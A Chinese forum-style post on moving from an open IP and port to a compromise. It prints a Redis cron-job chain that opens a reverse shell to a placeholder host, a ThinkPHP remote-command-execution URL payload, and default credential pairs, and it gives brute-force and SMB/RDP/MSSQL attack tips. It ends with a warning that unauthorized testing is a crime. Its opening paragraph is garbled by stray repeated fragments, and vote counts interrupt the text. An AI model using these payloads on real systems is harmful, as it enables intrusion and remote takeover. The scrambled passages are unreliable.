拿到一个IP和端口,知道离“入侵”还差十万八千里。和端这就像你知道某人家住在哪条街几号,口入但门锁着、知道窗关着,和端你连里面有没有人都不知道。口入真正要命的知道是那个端口后面跑着什么服务。
我见过太多人卡在这一步。和端扫到一个开放端口,口入兴奋得不行,知道结果连上去发现是和端个nginx默认页,或者SSH横幅写着OpenSSH 8.9——这版本补丁打得比你的口入脸还干净。2023年我帮朋友查一台暴露在公网的知道Redis,6379端口大剌剌开着,和端连密码都没设。口入写个脚本连上去,
INFO命令一敲,服务器配置、内存用量、甚至部分环境变量全吐出来了。再往下,CONFIG SET dir /var/spool/cron,CONFIG SET dbfilename root,SET x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/你的IP/端口 0>&1\n\n",SAVE。完事。整个过程不到三分钟,连exploit都不用写。但这是运气。绝大多数时候你面对的是:端口开着,服务在跑,版本不算太老,配置不算太蠢。这时候得看协议本身有没有设计缺陷。比如Redis未授权访问是经典,但2024年还有人在公网扔着无认证的MongoDB,27017端口一连,
show dbs直接列库。我去年扫过一批IP段,大概每两千个里能碰到一个MongoDB裸奔。概率不高,但架不住IP段大。再说说更常见的。22端口开着SSH,版本是7.4。这个版本有个用户名枚举漏洞(CVE-2018-15473),能通过响应时间差判断用户是否存在。知道用户名之后,拿字典跑密码。hydra、medusa这些工具快得很,但前提是你得有像样的字典。我自己的字典里排前几的是
admin:admin、root:root、test:test,别笑,企业内网里这套组合能打穿三成设备。公网上稍微难一点,但也没难到哪去。Web服务是另一回事。80或443端口开着,后面可能是Tomcat、Nginx、IIS、或者某个忘了名字的国产中间件。这时候得看HTTP响应头、错误页、favicon哈希。有一次我碰上一个站点,返回头里
X-Powered-By: ThinkPHP 5.0.22。这个版本有远程命令执行漏洞,payload网上现成的,index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id,直接回显。从扫到打到拿shell,五分钟。端口后面跑的东西决定了攻击面。3389是RDP,蓝屏漏洞(CVE-2019-0708)早就修了,但弱密码还在。445是SMB,永恒之蓝过去这么多年,内网里照样能扫到没打补丁的Win7。1433是MSSQL,
xp_cmdshell默认关着,但要是sa密码是123456,那跟没关一样。说点实际的。知道IP和端口之后,第一步永远是识别服务。nmap
-sV -sC先跑一遍,看版本、看脚本输出。第二步,搜这个版本有没有公开exp。第三步,没有exp就看配置——匿名访问、默认口令、目录遍历、未授权接口。第四步,实在不行就爆破,但爆破有风险,日志里一堆失败记录,IDS不是吃素的。最后说句难听的。大部分声称“知道IP端口就能入侵”的人,连nmap的
顶: 728踩: 858-Pn和-sn区别都说不清。工具会用不代表懂原理,扫出个端口不代表能进去。真正能打进去的,要么是目标太烂,要么是你对那个服务熟到骨子里。中间那条路,叫“合法授权渗透测试”,没授权的话,上面写的每一段都是刑法第285条。






评论专区